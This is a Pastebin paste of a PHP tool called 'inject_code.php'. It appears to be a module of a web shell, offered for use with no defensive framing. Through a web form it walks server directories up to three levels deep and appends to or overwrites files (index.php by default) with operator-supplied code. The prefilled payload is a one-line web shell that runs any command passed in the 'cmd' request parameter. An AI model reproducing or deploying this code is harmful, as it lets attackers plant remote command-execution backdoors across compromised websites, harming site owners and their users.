mathio3

inject_code.php

Sep 26th, 2019 (edited)
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.31 KB | None | 0 0
  1. <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content=""><!-- This Will Refresh Page After Every ___ Seconds--> <meta name="revisit-after" content="3600" /> <meta name="version" content="1.0 beta" /> <meta http-equiv="X-UA-Compatible" content="IE-edge" /> <style> body { background-color: #1C242F; margin-top: 2vh; } input { color: white; text-align: center; font-weight: bold; border-left: black; border-right: black; border-style: groove; background-color: black; } select { color: white; text-align: center; font-weight: bold; border-left: black; border-right: black; border-style: groove; background-color: black; } option { color: white; text-align: center; font-weight: bold; border-left: black; border-right: black; border-style: groove; background-color: black; } textarea { color: white; font-weight: bold; border-left: black; border-right: black; border-style: groove; background-color: black; } a { color: red; text-decoration: none; } a:hover { color: #1C242F; } </style> </head><? if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; } function get_structure($path,$depth) { global $DS; $res = array(); if(in_array(0, $depth)) { $res[] = $path; } if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) { $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR); if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); } } if(in_array(2, $depth) or in_array(3, $depth)) { $tmp2 = array(); foreach($tmp1 as $t){ $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR); $tmp2 = array_merge($tmp2, $tp2); } if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); } } if(in_array(3, $depth)) { $tmp3 = array(); foreach($tmp2 as $t){ $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR); $tmp3 = array_merge($tmp3, $tp3); } $res = array_merge($res,$tmp3); } return $res; } if(isset($_POST['submit']) && $_POST['submit']=='Inject') { $name = $_POST['name'] ? $_POST['name'] : '*'; $type = $_POST['type'] ? $_POST['type'] : 'html'; $path = $_POST['path'] ? $_POST['path'] : getcwd(); $code = $_POST['code'] ? $_POST['code'] : 'blabla'; $mode = $_POST['mode'] ? $_POST['mode'] : 'a'; $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0'); $dt = get_structure($path,$depth); foreach ($dt as $d) { if($mode == 'a') { if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) { echo '<center><br><br><br><div><strong style="color:#fff;">'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#df5;"> injected</span></div>'; } else { echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>'; } } else { if(file_put_contents($d.$DS.$name.'.'.$type, $code)) { echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#df5;"> injected</span></div>'; } else { echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>'; } } } } else { echo '<br><br><form method="post" action=""> <table align="center"> <tr> <td style="color:#fff;">Directory : </td> <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td> </tr> <tr> <td style="color:#fff;" class="title">Mode : </td> <td> <select style="width: 100px;" name="mode" class="box"> <option value="a">Apender</option> <option value="w">Overwriter</option> </select> </td> </tr> <tr> <td style="color:#fff;" class="title">File Name & Type : </td> <td> <input type="text" style="width: 100px;" name="name" value="index"/>&nbsp;&nbsp; <select style="width: 100px;" name="type" class="box"> <option value="html">HTML</option> <option value="htm">HTM</option> <option value="php" selected="selected">PHP</option> <option value="asp">ASP</option> <option value="aspx">ASPX</option> <option value="xml">XML</option> <option value="txt">TXT</option> </select></td></tr><tr> </tr> <tr><td colspan="2"><textarea name="code" cols="70" rows="10" class="box"><?php if (isset($_REQUEST["cmd"])) { system($_REQUEST["cmd"]);} ?></textarea></td> </tr> <tr> <td colspan="2" style="text-align: center;"> <input type="hidden" name="a" value="Injector"> <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'"> <input type="hidden" name="p1"> <input type="hidden" name="p2"> <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'"> <input style="padding :3px; width:100px;" name="submit" type="submit" value="Inject"/></td> </tr> </table> </form>'; }
  2.  
Add Comment
Please, Sign In to add comment